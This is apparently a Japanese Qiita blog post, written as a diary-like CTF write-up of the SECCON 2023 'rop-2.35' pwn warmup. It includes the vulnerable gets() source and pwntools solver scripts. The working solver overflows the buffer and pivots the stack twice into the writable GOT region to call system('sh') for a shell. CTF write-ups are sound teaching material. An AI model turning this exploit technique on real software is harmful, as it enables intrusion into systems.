1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

SECCON2023 Quals warmup rop-2.35のwriteupもどきの日記

Last updated at Posted at 2023-09-17

はじめに

どうも雑魚です.
今年のSECCONもwarmupだけしか解けませんでした.とても面白かったですね.
次回までに成長してもっととけるよう精進します(n回目)
F6M9vkhbsAEeqO5.png

そんなpwnのwarmup問rop-2.35のwriteupをかこうと思ったのですが聞く限り僕の解法は遠回りぽい(?)のでwriteupもどきの日記として書きます.

rop-2.35

The number of ROP gadgets is declining worldwide.

配布ファイル

  • chall(バイナリ)
  • docker-compose.yml
  • Dockerfile
  • main.c

コードはこれだけでシンプルで面白い問題でした.

main.c
#include <stdio.h>
#include <stdlib.h>

void main() {
  char buf[0x10];
  system("echo Enter something:");
  gets(buf);
}

まずどう見てもバッファオーバーフローが存在します.

image.png

セキュリティ機構もほとんどありません.

僕はシンプルすぎて一見何をするのかわかりませんでした.
「問題文にropって書いてあるし典型的にlibcのgadgetとるんやろなー」
と思っていた時期もありました.

しかしやるとわかりますがlibc leakはたぶんできませんし配布ファイルにlibcもないです.

となるとchallsystemとかをを利用して解くのがそれっぽいです.
image.png

getsを呼ぶとraxには渡したバッファのアドレスが入るので,実行したいコマンドを入力して0x401169systemの引数を設定しているとこにret2mainすれば行けそう.

という考えで書いた動かないsolver

solver.py
from pwn import *

#io = remote("rop-2-35.seccon.games", 9999)
io = process("./chall")

system = p64(0x401169)

payload1 = b"sh\x00"+b"a"*0x15
payload1 += system

io.sendline(payload1)

io.interactive()

さあどうでしょう.

image.png

いけませんね.これはsystemを呼ぶとraxがさしているスタックの値がsystemのローカル変数によって上書きされるからです.

なので実行したいコマンドの文字列を保存する領域と,systemを実行するときのスタックをずらさなければなりません.

それを実現するために2回ret2mainします.

一回目ではスタックを別の場所にずらし,二回目ではずらしたスタックに実行したいコマンドを入れてからスタックをもう一度ずらしsystemを実行します.

以下がsolverです.

solver.py
from pwn import *

#io = remote("rop-2-35.seccon.games", 9999)
io = process("./chall")
# io=gdb.debug("./chall", '''
#    set follow-fork-mode parent
#    break main
#    continue
# ''')


system = p64(0x401169)

pop_rbp = p64(0x40113d)

add_rsp = p64(0x401190)

leave = p64(0x401183)

pivot1_addr = p64(0x00404100)
pivot2_addr = p64(0x00404990)


payload1 = b"a"*0x10
payload1 += pivot1_addr # rbpにpivot1_addr (gotの領域)
payload1 += system #ここでleaveするのでrspがpivot1_addrに (rsp = rbp)

io.sendline(payload1)

payload2 = b"sh\x00aaaaa"+b"a"*0x10 # 実行したいコマンドとパディング
payload2 += pop_rbp
payload2 += pivot2_addr # rbp に pivot2_addrを(gotの領域)
payload2 += leave # rspにpivot2_addr (rsp = rbp)
payload2 += b"b"*(u64(pivot2_addr)-u64(pivot1_addr)-0x18)+system # rspが変わるのでret addrも変わるよって一回目の時点でピボットしておいてパディングでどうにかする.

io.sendline(payload2)

io.interactive()

pop rbpのgadgetでrbppivot2_addrにしてleavegadgetでrspをpivot2_addrにずらしています.
それによりreturn addrも変わるのでその分パディングを入れてからsystemを入れてます.

ここでstack pivotに使ったのがGOTのとこです.checksecでもわかるようにPartial RELROなので書き込めます.
image.png

心配なのは0x1000 byte以下でsystem関数のローカル変数が収まるかですがそれはヒューリスティックに運頼みです.近くの神社にでも祈りに行きましょう.(足りました☻)

さあ実行してみましょう!

image.png

SECCON{i_miss_you_libc_csu_init_:cry:}

やったね!

ワシ「libc_csu_initってなんだっけ((((ggrks1

とても楽しかったです.運営ありがとうございました.

僕の環境はglibc2.37であることに最初気づいてなくてちょっとデバッグで苦労しました.
皆さんは問題鯖と自分の環境が違うときどうやってデバッグしてますか?良ければ教えてください😎.

本番中に解けた問題としてほかにrevのjumpoutがありましたがangrで一瞬だったので書きませんでした.

cryptoのwarmupは終了後にあることを知ってやったら普通に解けて悲しくなりました.()

こんな駄文読んでくれてありがとうございました.

来年こそは!成長してもっと解けるようになります!!((n回目

  1. https://inaz2.hatenablog.com/entry/2014/12/03/204939
    https://hackmd.io/@t3mp/r1zt00V1j?utm_source=preview-mode&utm_medium=rec

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?